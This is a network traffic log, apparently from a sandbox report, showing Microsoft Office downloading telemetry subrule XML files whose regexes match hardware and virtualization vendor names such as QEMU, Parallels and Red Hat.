2024-10-30 06:28:17 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:17 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062817Z-16849878b78nx5sne3fztmu6xc00000008q0000000003dyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:17 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:17 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062817Z-16849878b7828dsgct3vrzta7000000005y000000000pu8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:17 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:18 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 055e5760-501e-00a0-45eb-289d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062818Z-17c5cb586f6fqqst87nqkbsx1c000000064g0000000046qq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:18 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062818Z-16849878b78bjkl8dpep89pbgg000000067000000000pfgq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:18 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062818Z-16849878b78p49s6zkwt11bbkn00000007ag000000006vu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:18 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062818Z-r197bdfb6b48pcqqxhenwd2uz800000008h0000000007n96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:18 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:18 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062818Z-16849878b78sx229w7g7at4nkg00000005u000000000hsbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:18 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:18 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062819Z-17c5cb586f6hhlf5mrwgq3erx8000000095g000000000gwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:19 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:19 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: f491e318-501e-008f-212c-289054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062819Z-r197bdfb6b47gqdjvmbpfaf2d000000002u0000000009vcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:19 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:19 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062819Z-16849878b78sx229w7g7at4nkg00000005u000000000hsdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:19 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062819Z-15b8d89586fcvr6p5956n5d0rc0000000dmg00000000ew8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:19 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
